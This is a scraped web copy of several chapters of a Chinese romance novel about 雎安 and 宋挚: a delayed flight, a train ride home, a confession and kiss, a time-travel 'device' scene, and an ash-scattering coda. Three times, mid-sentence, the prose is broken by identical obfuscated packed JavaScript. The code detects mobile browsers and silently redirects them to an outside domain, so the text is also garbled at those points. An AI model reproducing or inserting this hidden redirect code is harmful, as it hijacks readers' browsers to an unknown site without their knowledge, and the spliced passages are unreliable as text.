“雎安,你听得到我讲话吗?”吴珺坚持不懈地走到雎安面前,在她眼前挥手。 这回雎安没办法装没听见,只得瞪大眼睛抬起头,以一副懵懂的模样装惊讶。 “是你在叫我啊,我以为我幻听了。”雎安眼睛瞟了眼四周,发现吴珺是独自一人,暗暗松了口气。 “他没来。”吴珺看出她的局促,以及察觉到她的想法,“他脾气太暴躁了,我都不想和他一路回去。” “可他不是你男朋友吗?” “男朋友又怎样?总有彼此嫌弃的时候,你说是不是?” 雎安只笑笑,并不附和。 她不喜欢吴珺,也不喜欢吴珺的男朋友,所以根本不想和她多聊。 可吴珺好似吃定她般,一直向她提问,哪怕雎安回复得极其敷衍,她也乐此不疲。除去雎安的工作和父母,其中问得最多的便是和宋挚、周浮沉相关的事,全都是隐私问题,都是雎安的雷区。 “我要去上个厕所。”雎安起身,拉着行李箱想往洗手间去,却被吴珺一把扯住。 “我帮你看着行李箱吧。”说着,还未雎安经同意,吴珺就伸手来拿行李箱的升降杆。 雎安恼了,直接用力将行李箱往外甩,皮笑肉不笑地摆手离开,“不用了,谢谢你。” 她能感觉到吴珺笑脸下隐藏的恶意,吴珺也必定能感受到她笑容下的防备。两人的相处并不舒服,吴珺却上赶着往她身上贴。 事出反常必有妖,雎安下定决心,势必要离得远远的。 “宋挚!” 上完厕所出来,雎安看到登机口附近的位置都满人了,耳边是延迟起飞的广播,索性拉着行李箱去附近的登机口找个位置休息,正好就碰到了站着发呆的宋挚。 今天的他虽然是极简单的黑白搭配,在人群里并不显眼,但她还是能一眼认出来他。 “你怎么在这站着?”雎安走到他面前,语气平常,“你的航班能飞吗?” 宋挚回过神,看她是拉着行李箱来找他的,心中微微一动,“飞不了,广播说去华州的都暂时不能飞,我就想着来找找你。” “找我?”雎安歪头,“你怎么知道我在这坐飞机?周警官告诉你的?” 宋挚摇头,“不是,是我猜的。倒是你,怎么会来找我?” 雎安学着他的模样摇头,“不是来找你,是上完厕所刚好看到了你。” 宋挚和雎安都笑了,最后还是坐到了一起。 这回,他们以聊电影、音乐和美食的方式来打发时间。不聊还好,一聊便会发现两人还有很多共通之处。 比如,他们都不爱吃羊肉,都不喜欢姜汤,都喝不了咖啡。 “你是怕睡不着吗?”雎安问。 “不是,我一喝咖啡,心就会跳得很快,很慌乱的感觉。” “哦~心悸,你这是心悸了,我喝咖啡也会这样。”雎安说着,转身去翻自己随身的斜挎包,“艾草麻薯欧包和黑芝麻贝果,你要吃吗?今天早上刚买的。” 当下,他们已经在候机厅等候了三小时,广播仍在不停地道歉。 眼见天色越来越暗,有人焦急地上前询问工作人员起飞时间,得到的回复是未知。 “还不知道要等到什么时候,吃点东西吧。” 不等宋挚回答,雎安兀自将面包撕半,递给宋挚。 宋挚双手接过,想到昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16324111|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚她递给自己的那一袋面包还在他的背包里,就笑着说道:“昨天你给我的面包,我今早吃了两个。现在我包里还有三个,要不要拿出来一起吃了?” “你觉得好吃吗?” “挺好的,我很喜欢。” 雎安的眼里闪着期待被认可的光,宋挚不忍说实话,就把“就是有点干、又有点硬”的话生生咽了下去。 直到两人分着吃完,雎安才确信宋挚在说谎,因为他的表情出卖了他,明眼人都看得出,他不是在享受美食。但有趣就有趣在,只要雎安一看他,他就皮笑肉不笑地对着她点头,继续艰难地咀嚼那极难断口的碱水。 雎安彻底被他逗笑,噗呲一声笑了出来,“可能隔夜以后水分流失严重,变得干硬了许多,你看起来吃得好痛苦。” “其实还好。”宋挚嘴硬,但他明显更喜欢欧包,硬硬的碱水吃得他眉头起皱,“倒是你,你是真的很爱吃面包。” 毕竟宋挚也逛过几家面包店,现在的面包价格都高得离谱,雎安买什么都很犹豫,却在买面包这件事上格外阔绰。 雎安笑笑,咀嚼着极有韧劲的贝果的动作暂停,眉眼嘴角皆是笑意,“面包脑袋嘛,碳水让人快乐。” 宋挚见她的眼睛弯成了月牙,只觉得自己因久坐而僵硬的后背和脖颈都松了下来。她开心的时候散发的能量,与他而言,有种神奇的疗愈作用。虽然不至于夸张到能治病止痛,却是能让他心安,好似伸手不见五指的漆黑幕布上,有了一颗星,多了一点看似不起眼却无法忽视的光亮。 凌晨三点,在吃了一顿面包和一顿飞机餐后,广播提示准备登机,雎安回到自己的登机口处排队,恰巧和围着护颈枕头的吴珺对上视线。 这次吴珺看起来很是疲累,黑眼圈十分明显,冷脸瞥了雎安一眼,没有再热情地上前。 雎安松口气,特意隔着七八个人排队登机,两人没坐一辆摆渡车。 只是,雎安万万没想到,她在飞机上坐了一个小时,空姐发了一次飞机餐,吃完后仍然没有起飞。 看来情况不太好,雎安发微信问宋挚他那班飞机的情况。 宋挚很快回复,他也没能顺利起飞。 最后,雎安这班机上有人耐不住了,在机舱里大发雷霆,乘务长只好让大家带着行李下飞机,有一对夫妻却对此安排不满,语气急冲地上前交涉,雎安侧身,避开这种冲突的场面,在空姐和空少安抚众人情绪的时候,率先取了行李下机。 而紧跟在她身后的人,是吴珺。 两人满脸疲惫地坐在未行使的摆渡车上不发一言,雎安假装欣赏窗外的风景,恰巧和另一辆摆渡车上的人对上视线。 她呼吸一滞,瞳孔骤缩。 那人是卢宇年,而他的身边是一个样貌和他极其相似的中年男人。 两人正在交谈,面色都有些凝重,而卢宇年一边和中年男人说,一边意味不明地看着她,眼神中带有狼一般的侵略性。中年男人敏锐地察觉到卢宇年的异样,顺着卢宇年的视线看过来,就这么和雎安对视了。 随后,卢宇年贴在中年男人耳边说了什么,中年男人还朝她客套地笑了笑。 雎安有些吃惊,第一反应是去看吴珺,以为中年男人不是在和自己打招呼,可此刻吴珺正望着另一边发呆,明显不知道这边发生了什么。 雎安这才僵硬地回头,微微躬身,朝中年男人笑了笑,算是打了招呼。 65. 他吻了她 摆渡车启动,卢宇年的身影逐渐消失在视线之内,雎安绷着的神经终于放松下来。 在摆渡车移动的时候,她打开手机检索,果不其然,那名中年男人是卢宇年的父亲—卢震南。 他最近被很多网友挂在网上,被怀疑公司生产的产品有问题。 也不知道卢宇年和他爸说了什么。 雎安心里有些不安,但幸而不过是个小插曲,回到候机厅后没再碰见他们,反倒是碰到了宋挚。 两人商量着退掉机票,转坐高铁回华州的时候,航司终于广播说明,航班因为天气原因取消。 “票我来买吧。”宋挚说的时候,已经到了输入姓名和身份证信息的页面。 “不用,我自己买,这太贵了。” “不会。”宋挚执意帮她买票,不惜一把顺走她手里的登机牌,“你救过我的命,还帮我付过医药费,就当是谢礼了。” “还有,碳水让人快乐。”说到这,宋挚故意停顿了下,“尤其是好吃的碳水。刚刚航司发的飞机餐实在是难以下咽,我又是吃到不好吃的东西就会心情不好的人,所以想谢谢你刚刚和我分享了面包。” 宋挚这次倒真没说谎,先不说芭乐茉莉奶酪欧包之类极对他胃口的软面包,哪怕是那极噎人的咸蛋黄花生碱水,也比飞机餐好吃得多。 至少,他是这么觉得的。 “你还在想票的事?” 见雎安对着座位发呆,在她身旁坐下的宋挚不禁发问。 “对。”雎安如实想告,“你怎么买的是商务座啊?” “一等座和二等座都没票了,而且我们要坐九个多小时,商务座可以躺下休息,会舒服很多。” 宋挚朝雎安笑了笑,不以为意道:“先说清楚了,这是我擅自定的票,你不用转钱给我,如果你实在不好意思,那就在回去以后给我送一些好吃的小面包吧。” 他已经知道雎安住在周浮沉的公寓里,而他的公寓也在同一个小区,隔着两栋楼的距离,只要任何一人有心,想来以后是可以经常见到的。 “可我......” 雎安不想扫兴,遂将到嘴边的话硬生生吞了回去,“没什么,你等等。” 语罢,雎安开始翻找自己随身斜挎包里的东西。她翻了好一会儿,却停了下来,没有将东西拿出来,看来是在犹豫。 “这两个,你喜欢哪个?” 雎安最终拿出来的是她在蜀绣店买的卡包,一个是牡丹花,另一个是栀子花的样式。 宋挚起初只扫了一眼,都觉得这两个东西有些眼熟,仔细一看上边的绣花工艺,他很快就反应过来,这是在蜀绣馆买的。 “我还以为你没在那买东西。”宋挚靠在椅背上,侧头注视着雎安,试验性地问道:“你觉得哪个好?” 雎安认真思考了会儿,认真地答道:“那阿姨说牡丹有吉祥富贵的意思,男性用也不奇怪。不过,我还是觉得栀子花的这个适合你。” 闻言,宋挚望着她的眼眸有一种难言的情愫在流动。 那到底是什么? 此刻他藏得太好、埋得太深,波涛汹涌的水流上是极为平静的水面,毫无攻击和侵略性,诱导着她一步步靠近。 后来,雎安想起周浮沉曾在她面前提到过宋挚,他说他这个朋友固执得很,当初他们五六个朋友约着去华山的长空栈道,因为天气原因没去成,宋挚当时表现得很淡定,只说了句“蛮失望的”,下山后却约他们再去一次,他们都不太想再爬,宋挚就改签航班、独自留下,在工作人员多次回复不确定是否开放的情况下,爬了五次华山,最终在第五次,他完成了挑战的心愿。 “他这个人就是这样,总是在人前展现出随和开朗的那一面,心里有主意、有明确的目标却不随意展露,而且非常有毅力,只要是他认定的人,坚持要做的事,哪怕头破血流,都会死磕到底。” 周浮沉抬眸,看了眼无甚反应的雎安,笑道:“他是我很好的朋友,有机会带你去见见。” “那阿姨有给你详细介绍这些产品吗?比如,花语什么的。” 此刻,宋挚从雎安手里接过卡包,意味不明地问道。 雎安回过神来,仔细回想那阿姨说过的话,好像确实有给她介绍过产品,只是她记不全了,因为当时她的大部分注意力都在价格上。 反正,她确信都是好寓意就对了。 “有啊,寓意很好的。” 这回,宋挚的眸色更深,端详着栀子花的眼眸,好似黑夜被那无数星辰给点亮,只是他很克制,外显出来,不过是那嘴角浮起的一抹浅笑。 “怎么了吗?” “没什么。”宋挚清俊的面庞上是逐渐克制不住的笑意,“谢谢你把它送给我,我很喜欢。” 雎安见他如此喜欢,这才靠回到椅背上,身心都放松下来。 “把座椅放平吧,刚好可以睡一觉。” 宋挚察觉到雎安已经累得直不起腰,而他也满脸倦容,黑眼圈重得像是熊猫的人类亲戚。 “晚安。” “嗯,晚安。” 起初,雎安还会因为想到宋挚救躺在旁边而心跳加速,可慢慢的,她的眼皮越来越重,脑袋越来越晕,晕得她听不清耳边的话,就这么沉入了梦乡。 她睡得很沉,似乎并没有做梦,但却感觉脸颊痒痒的,像是有羽毛拂过。 渐渐的,她醒了,下意识地去抓了下脸,睁开眼,发现手里什么都没有后,尝试坐起来观察四周,于是,就这么直直的和正在一旁用餐的宋挚对视了。 宋挚柔声问道:“醒了?” “嗯。”雎安下意识地整理自己的头发。 “饿吗?要不要餐食?” 雎安迷茫地看了眼窗外大亮的天色,“还有多久到站啊?” “二十分钟左右。” 雎安调整好椅背,刻意往后靠,离宋挚远一些,“那我去漱漱口,吃点零食就行,餐食就算了。” “好。”宋挚笑了笑,并不强求。 华州的雷暴天气很是野蛮,雷声轰鸣,暴雨倾盆,噼里啪啦的雨水让刚刚踏出车门的宋挚和雎安都湿了半身。 两人站在单元楼下,雎安拍去身上的雨水,宋挚确认完行李数量后,提出给在暴雨中主动帮忙搬行李的司机100元。 司机激动地打开收款二维码,笑得合不拢嘴,和从雨幕中开车来接他们时的愁眉苦脸一比,看着都不像是同一个人。 “司机真好,你更好。”司机驱车离开后,雎安忍不住夸赞他们。 宋挚扬唇一笑,解释道:“这么大的雨,还在外边跑,明明心情不好,还会主动帮助,这额外的一百块,他绝对值得。” “嗯,那司机就像宝藏。”雎安将纸巾递给宋挚,笑道:“而你有能发现宝藏的眼睛和心灵。” 这话很受用,顷刻间,宋挚觉得自己的衣服都干爽了不少。 “我帮你把行李搬上去吧。”宋挚提议,又觉得不妥,补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16338319|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了句,“我放电梯里,你自己推回家。” “不用不用,反正有电梯,我自己来就行。”雎安连连摆手,看了眼宋挚公寓所在的单元楼,问道:“倒是你,雨这么大,还要拖着行李到对面,中间还没有避雨的地方,要怎么办好?” “你陪我聊聊天。”宋挚毫不客气地说道:“指不定待会儿雨就停了。” 雎安没想到他会这么说,一时间愣在原地,片刻后,才对着宋挚的笑颜嗫嚅道:“可……这天气阴晴不定,说不得会下一整天,而且我的衣服还湿了大半。” 见她当了真,宋挚失声笑道:“逗你的,我怎么舍得让你着凉,上去吧。” 这话……很暧昧。 雎安垂眸,转过身去,并不回应。 “你明天中午有空吗?一起吃个饭?”宋挚察觉到不对,直接截停雎安上楼的步伐。 “我有事。” “那晚上呢?” “晚上不方便。” “那周末呢?” “周末也有事。” “那你什么时候有空?”宋挚眉头微蹙。 雎安眼神闪烁,不敢直视宋挚的眼睛,“不好说,我要找工作、面试,时间说不准。” “好吧。”宋挚向后退了一步,“那你总得吃饭吧,等你有空了,提前给我打电话,我随叫随到。” 这已经相当直白了。 “宋挚。” “嗯?” “我可能会离开华州。” 雎安边说边抬眸,看到宋挚瞪大了双眼、像是受到了巨大冲击的那刻,忍不住解释道:“也不一定会离开,前提是在华州找到合适的工作,但我肯定不会再住在这里。” 意思是,她没有归宿,可能会离开,可能会很漂泊。 “那我帮你。”宋挚答得很快,没有丝毫犹豫,“不论你是想留在这,还是想去一个新城市追求梦想,我都会支持你,也会尽我所能地帮你。” 雎安一时说不出话来,眼中隐有泪。 “雎安,你有没有对我动过心?”宋挚终是问出了口。 宋教授和邓女士曾给他讲过他们的爱情故事,宋教授对邓女士是一见钟情,看到邓女士的第一秒就移不开眼,而邓女士当时只觉得害怕,就跑了。 后来,两人因缘重逢,一起完成了某项工作,得知了彼此的基本信息,同时也在饭桌上聊了些深入的话题,邓女士对宋教授有所改观,并对他产生了些许好感,想要更多地了解他,结果宋教授在认识的第五天就直接表白,还提前准备了情侣对戒和婚戒,说只要邓女士愿意,他的一切都能交付给邓女士。 “我当时被吓到了,反应过来后,真的超级想跑!” 邓女士和宋挚吐槽的时候,表情非常无奈,还白了一眼在一旁笑嘻嘻的宋教授。 “阿挚,你答应妈妈,以后一定不要学你爸。” 此刻,宋挚很肯定,他没有在学任何人,只是遵从了自己的心。 “雎安,我喜欢你。”宋挚一瞬不瞬地注视着雎安,声音低沉,“你呢?” 雎安如遭雷击,脑子里一片空白,身体也像被施了咒法般动弹不得。 宋挚看着她,内心的情愫如火山岩浆般持续沸腾、躁动不安,他拼尽全力压制,努力调动理智让自己冷静下来,可偏偏越压制越躁动,他抓着雎安的手未肯松开一秒,不过是垂眸看了眼雎安微启的红唇,躁动的情绪便如火山爆发般喷涌而出。 他吻了她。 66. 一拳打在了棉花上 “班长?” “你怎么不理我?” 卢宇年在雎安对面的座位坐下,姿态和语气都相当熟络。 雎安闻声抬头,吓了一跳,好一会儿才确认卢宇年是在和她说话,并且,他看着并无恶意。 “什么班长?你是在叫我吗?” 这话让卢宇年内心有些失落,他解释道:“我们初一是一个班的啊,你是班长。” 雎安晃晃脑袋,略过目光还算澄澈的卢宇年,仔细观察起四周,又打开手机看了眼日期和时间。 2017年09月04日,中午11点30分,华州市财经大学图书馆一层自习室。 这个时间点没错,确实是宋教授设置的实验点。 所以,她这回一进装置就被植入了这么多的记忆? 雎安脑子很乱,人也还很恍惚,见卢宇年还在等她应答,便随口解释道:“初一离现在太久远了,当时的我还参加了学生会,事情太多,能记住的人和事寥寥无几。” “哦~”卢宇年面上是毫不掩饰的失落。 雎安扫了他一眼,道:“你以后别叫我班长了,叫我名字吧,邹雎安,关关雎鸠的雎,平安的安。” 闻言,卢宇年身体微微前倾,稍并拢些腿,吊儿郎当的模样看着正经了些,“我叫卢宇年,宇宙的宇,年年有余的年。” “好,我记住了。”雎安敷衍道:“不过我有点饿,得去食堂了。” 她怎么会和卢宇年在图书馆啊?她不记得以前有过这事啊。 雎安站起身,将帆布包背在左肩上,随口问道:“你找我是有事吗?” “哦,有......算有吧,我和你一起去食堂。”卢宇年见雎安起身就要走,赶忙跟上去,面有喜色。 因他动作过大,椅子在安静的环境下发出格外刺耳的声音。雎安眉心轻跳,努力无视其他人的视线,快步离开了图书馆。 “你忘了?我们初一的时候还是同桌。”卢宇年追上雎安的脚步,隔着一个人的距离,与她并排行走。 “抱歉,初中那段时间我总换同桌,没什么印象了。” 雎安是真没印象,初一初二她都是班长,自律上进又是出名的,哪怕她理科成绩差一些,老师们也都很看重她,时常给她换座位和不同的同学接触,希望她能够感染更多调皮捣蛋的学生。后来,由于座位换得过于频繁,雎安被扰得不胜其烦,就提出和唐萍做固定同桌,两人能够互帮互助,座位才终于定了下来。 “也是。”卢宇年的眉眼略带伤感,不似刚和她打招呼时那般开朗,也不知是不是她的错觉。 不过,此刻头脑混乱的她完全无心顾及他的情绪。 新校区还没建好,供学生们活动的区域十分有限,图书馆离食堂也不过百米不到的路程。而她这一路都在理思绪,思考着去哪儿能找到宋挚。 卢宇年在她身后,突然出声,“我们这破学校什么都没弄好也敢开学。” 原来是已经到了食堂的点餐口。 雎安这次倒是非常认可他的话,以往在宿舍里,大家都没少在背后蛐蛐学校。 只是她现在无心吐槽,抿了抿嘴道:“没办法,我们只能适应了。阿姨~我要藤椒鸡和苦瓜炒蛋。” 雎安刷完卡,就听到了卢宇年的声音。 “阿姨,我也要藤椒鸡和苦瓜炒蛋。。” 拿上餐盘给阿姨打完饭菜后,雎安随意找了个座位坐下,卢宇年紧跟其后。 落座的时候,隔着三桌的位置,雎安瞄到室友在那用餐,她如往常般打招呼,轻微挑眉加点头。 三个舍友笑眯眯地以同样的动作回应她后,雎安便好似看不见一般,大方地坐下吃饭。 “你朋友?”卢宇年倒是比她还在意。 “我室友。” “看着关系还可以啊,你刚刚怎么一个人在图书馆坐着?那么爱学习?” 雎安嘬了口食堂赠的汤,味道淡得与水无甚差别,她不满地皱了皱眉,回应道:“我忘了,可能是去看书吧。” 难怪坐在那么显眼的位置,卢宇年在心底暗忖。 刚刚他和朋友路过图书馆,一眼便看到靠窗位上的雎安。 她翻动着书页,嫩白的指尖划过书角,长长的睫毛也随之扑闪一下,当她抬头看向门口时,轻轻甩开乌黑如墨的碎发,露出的面容愁色更显,很是惹人怜爱。 雎安无疑是美的,虽不惊艳,却能让眼前的画面都变得娴静美好。 此刻,卢宇年的目光在她身上停留片刻,看她无甚表情,更加肯定心中猜测。 “你在等人吗?” “嗯,可能当时约的时候没说清楚。”雎安胡说八道,“他说晚点到。” 雎安的脑子在飞速运转,很明显,她对卢宇年没什么印象,可卢宇年对她印象深刻,而且不论是在哪个阶段的相遇,不管她和他痛恨的周浮沉是否有交集,他都总能注意到她,这很可能与以往的某些事有关。 而这既然是装置,他目前看着也没什么攻击性,她大可以借此打探一下。 “对了,我们交个朋友吧。”雎安静静地看着他,模样十分真诚。 卢宇年忽地笑了,这年头真的很少有人会说这句话了,于是道:“当然可以,我最喜欢交朋友了。” 尤其是女朋友。 对他来说,“朋友”变“女朋友”又并非难事。 雎安一向迟钝,上学时曾有多次会错意的糗事,最尴尬当属和高中同桌曾滢的那次。 当时,有个男生总是试图亲近雎安,总爱缠着她问这问那,雎安以为他喜欢她,一想到高中繁重的课业以及迷茫的未来,她便刻意冷脸疏远他,见他要说话便立刻低头做题。 有一次,同桌曾滢和雎安躲在厕所聊八卦,说那个男生和她表白别拒后还扬言不会放弃,之后总给她送吃的喝的,嘘寒问暖,一通关怀,并试图感化雎安一起助攻。后来男生发现自己实在没戏,放弃追求,和她成为了好朋友,还反过来和她吐槽她的同桌过分高冷。 雎安当时没忍住,听的时候嘴角抽了好几下,她虽并不喜欢那男生,但就是有一种说不出的尴尬和憋闷感。 而此刻,卢宇年看着她的笑眼让雎安深感不妙,可她对自己在爱情上的感觉没有多大信心,沈薇也说过,卢宇年崇尚游戏人间,爱撩人且看谁都很深情。 于是,她假装什么都没看到,像在讨论学术问题般,一本正经地问道:“对了,我初中的时候,是不是帮过你啊?” 印象深刻到过了很久还记得的情况,雎安认为只有三种,一是有情,二是有仇,三是有恩。 以他的性格,总不能是暗恋,或者是恨她吧。 最大的可能、也是最好的结果,那就是她对他有恩。 “你回忆回忆。”卢宇年笑眯眯的,语气还有些俏皮。 雎安有些无语,但面上不显,“你直接说吧,我想不起来了,想不起来的感觉真的很难受。” 卢宇年无奈地笑笑,“之前......” “雎安,终于找到你了。” 熟悉的声音从身后不远处传来,雎安身体一僵,惊讶地回头,正好对上了宋挚那双幽深的黑眸。 宋挚朝雎安笑了笑,不由分说地将邓玉瑛带到卢宇年身边坐下,然后又在雎安身边落座。 全程,他紧抿着嘴唇,看向卢宇年的目光锐利如刀,饱含攻击性。 邓玉瑛过了会儿才反应过来,表情中仍透露着惊讶和意外,看向雎安的目光更是直接且好奇,但她的眼眸明净而清澈,雎安虽被打量却并没有感受到被冒犯。 而一旁卢宇年也和她们一般讶异,还因此暂时忽视了宋挚的敌意。 他完全没想到宋挚会二话不说就将阿姨拉到他身边坐下,只得坐正身子,露出他乖巧的模样,主动和长辈打招呼,“阿姨你好,好久不见。” 邓玉瑛虽扭着了脚,坐姿仍十分端正,很是端庄。 为了缓和气氛,她笑意盈盈地回复道:“你好呀,宇年是吧,两三年没见你,长这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16350885|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么高了。” 宋挚并不理会任何人的目光,也不在意母亲和卢宇年在聊什么,他转头看着雎安,压抑在身体里的汹涌情愫几乎快要从眼眸里渗出来,强烈到雎安无法忽视。 宋挚知道此举鲁莽且有些冒犯,他不想让雎安不舒服,可他不得不承认,在他看到雎安和卢宇年独处的时候,他理智瞬间燃烧殆尽,身体比他的头脑更快地做出了反应。 “阿姨,你的腿怎么了?” 卢雨年虽和邓玉瑛交谈,但两人的注意力都在对面的雎安和宋挚身上。 “阿姨没什么事,就是不小心在教学楼扭到脚了。” 当时的情况,根本没邓玉瑛说得那么轻巧。 事实上,邓玉瑛是在二楼楼梯口一处未填平的窟窿处崴到脚,失去平衡往下倒的瞬间被宋挚一把扯住,楼梯虽不高,可摔下去保不齐会脑震荡,邓玉瑛也吓了一跳,但事后第一反应还是想回去上课,被气恼的宋挚强制带去了医院。 “那就好。”卢雨年仍在心不在焉的寒暄,“阿姨真是越来越年轻了,今年得有三十了吧。” “你小子嘴真甜,阿姨都四十多了。”邓玉瑛粲然一笑。 雎安看得出来,也听得出来,邓玉瑛是真的开心。 看来这类话术夸人就是受用,她学到了。 雎安暗自感叹,刚想抬眼偷瞄邓玉瑛的反应,不想被逮个正着。 “这位是?”邓玉瑛终于问出她最想问的话。 提到雎安,宋挚立即有了反应,“妈,她是邹雎安,关关雎鸠的雎,平安的安。” 此话一出,雎安倏地扭头去看宋挚,眼睛里满是惊讶,一时间竟忘了其他人的存在。 “雎安,这是我妈。她叫邓玉瑛,现在是在你们系教授商务英语的副教授。” 宋挚探出手掌,指向自己的母亲,提醒雎安打招呼。 雎安回过神,身子前倾,乖巧地问好:“阿姨你好~我叫邹雎安,商务英语系的新生,很高兴认识你。” 作为过来人的邓玉瑛自然能悟出来,咯咯笑道:“雎安,真是个好名字,人也漂亮,阿姨也很高兴认识你~原本啊,我摔倒的时候还在想,今天怎么这么倒霉?但刚刚一看到你,我就不这么想了。” 在场的人都不傻,邓玉瑛如此直白地表达喜爱,无非是想帮自家孩子。而她也是好意,在她看来,眼前两人的氛围完全就是闹别扭的小情侣。 “能让阿姨高兴,我也很高兴。” 这是……见家长? 当下这情形是雎安万万没想到的,更没经历过的,难免坐立难安。 一旁的宋挚虽没有在看雎安,却能感知到她的情绪,担心她过后会恼他,也有些焦躁。 “宇年啊,你能帮阿姨跑一趟吗?”这是车钥匙,阿姨想请你把后备箱的登山杖拿过来。” “不是有宋挚扶着您吗?没必要拿登山杖吧?”卢宇年猜到邓玉瑛的意图,语气中透着不悦。 邓玉瑛却是充耳不闻,自说自话,“许是阿姨老了,不中用了,腿脚比不得你们这些小年轻,崴了脚,又忘拿登山杖,心里就是不踏实。麻烦你了~宇年。” “阿挚,你去打两份云吞过来。” 见宋挚也被安排去做事,卢雨年不好再说什么。他原以为邓玉瑛的车就在食堂附近,谁知她的车竟是在校门口附近的车位停放着。卢雨年只得走到校门口,再把白色沃尔沃开进来,意识到这是邓玉瑛调虎离山的小手段,一种被戏耍的感觉油然而生。 他强压着怒火,走进了食堂,一字一句地问道:“阿姨你既然扭到脚,怎么不让宋挚把车开进来啊?” 此时,邓玉瑛的身边和对面都已经没有人,只有两份热腾腾的饭菜,她仍是温柔笑着,轻声道:“我刚刚是被同事送进来的,进来后才想起来自己的车还在外头。阿姨真的太感谢你了,这是阿挚刚打的热云吞,一份鲜虾,一份原味,你想吃哪个?” 卢宇年发觉自己真是一拳打在了棉花上,满腔怒火却又无可奈何。 67. 卢氏企业的富二代卢某绑架宋某^…… 夜晚的校道,昏黄的灯光,嘈杂的人群,微风的吹拂,飞扬的发丝,相对无言的两人。 “我想知道真相。” 是雎安率先打破的沉默。 2023年6月16日,在嘉源广场撞人案发生后的第一天,她请假去华州大学找宋教授。 当时,她有很多的疑惑和猜测,一连问了宋教授很多问题。 而宋教授只是淡定地喝着茶,一副早就料到的模样。 他说:“别急,宋挚会告诉你的。” 没错,他说的宋挚会告诉她的。 雎安的反应相当迅速,不到两秒便意识到宋言林所说的宋挚,并非现实中的宋挚,而是装置里的宋挚。 也就是现在站在她面前的人。 不知何时,宋挚身上的戾气全然褪去,眼睛柔得似能掐出水来,眸光中水波荡漾,“雎安,我向你承诺过,如果上天怜悯我,给我一次机会,我一定会找到你,一定会救你。” 根本来不及反应,宋挚就已经将雎安紧紧地抱在怀中,像是想把她嵌入身体般用力,低头贪婪地嗅闻着她颈间的气息。 他的言语、他的动作、他的传达出的情绪,无不透露着她和她的亲密。 雎安并不反感,像是被蛊惑了般,即便得到的只是一个不明所以的回答,可她还是抬起手,环住了他的腰,学着他的动作,闭上了眼睛,嗅闻着他身上的气息。 是很舒心、很熟悉的气味,即便她感受到自己的心跳极快,却能在他的怀里感到安定和舒心。 矛盾而吸引,像是魔法一样。 渐渐的,雎安感觉周身的空气过于稀薄,呼吸变得有些困难,便睁开了眼,伸手推了推宋挚。 “宋挚,我要呼吸。” 这个称呼让宋挚迅速清醒过来,他松开就雎安,想要收敛难以压抑的情绪,想要认真的和她道歉,却在注意到对面站着什么人的时候,身体蓦地紧绷起来,透露着防备和警惕。 雎安预感不妙。 不会是卢宇年追上来了吧?那阿姨怎么样了?卢宇年不会冲阿姨发火吧? 雎安转过去头去,却看到了意料之外的人。 是周浮沉。 是穿着一身黑衣、面容更加稚嫩,身型却更为壮硕的寸头周浮沉。 他看她的眼神,和现实中的周浮沉完全不同。 ———————— 天刚蒙蒙亮,华江的江面浮起薄雾,江水在底下缓缓流淌。秋风一吹,晨光一照,江水泛起阵阵涟漪,如铺满碎钻般璀璨夺目。 曾滢举起相机拍下这一幕,这是她爱好,也是她的工作。 观景台上聚集了不少看风景的人,她有意无意地拍下他们,期望能拍到一张精妙绝伦的照片。 宋挚就是在这时,闯进了她的相机画面。 曾滢看到一个身着黑色大衣的年轻男人,他在人群中尤为扎眼,不单是因为他优越的样貌,他的头发和手中的物件更为引人注目。 他的黑发中隐有一缕缕银丝,很独特,不知是挑染还是少年白发,手中抱着一个精美的乌木盒子,看材料、看做工,价格不菲。 男子一步步走至护栏边,表情哀恸,眼眶泛红,眼眸中水光盈盈,一看就是哭了。 他抬起手,将手放在盒子上,而后低头闭目,不再有任何动作。 好美的画面! 曾滢站在台阶上,感叹于眼前所见。 男人的眉眼精致,俊逸得来,又有些女相,这让曾滢想起王观的诗:“水是眼波横,山是眉峰聚”。偏他的骨相极好,轮廓硬朗,微驼峰鼻正好中和了眉眼的柔美,一切都恰到好处。 终于,他睁开眼,看着偌大的江面,张嘴说了些什么。 曾滢做了多年记者,走南闯北,学了些技能,虽听不见男人说了什么,但可以读唇语。 “我一定会去找你,可我没办法保证我一定能成功,所以我先按你的意思,将你带到你想去山川、海洋和田野,现在就要齐了。” 而后,他小心翼翼地推开乌木盒,抓了一小把灰洒向华江,亲眼看着手中的灰从指尖滑出、随清风散去。 咔嚓一声,曾滢快准狠地按下快门,拍下了她心目中称得上精妙绝伦的照片。 “这里头还有些骨头,我实在不忍心扔进江里,你就当是留给我的念想,好不好?这样就算我失败了,你不至于被困在一个小盒子里难受,我也能再见见你。” 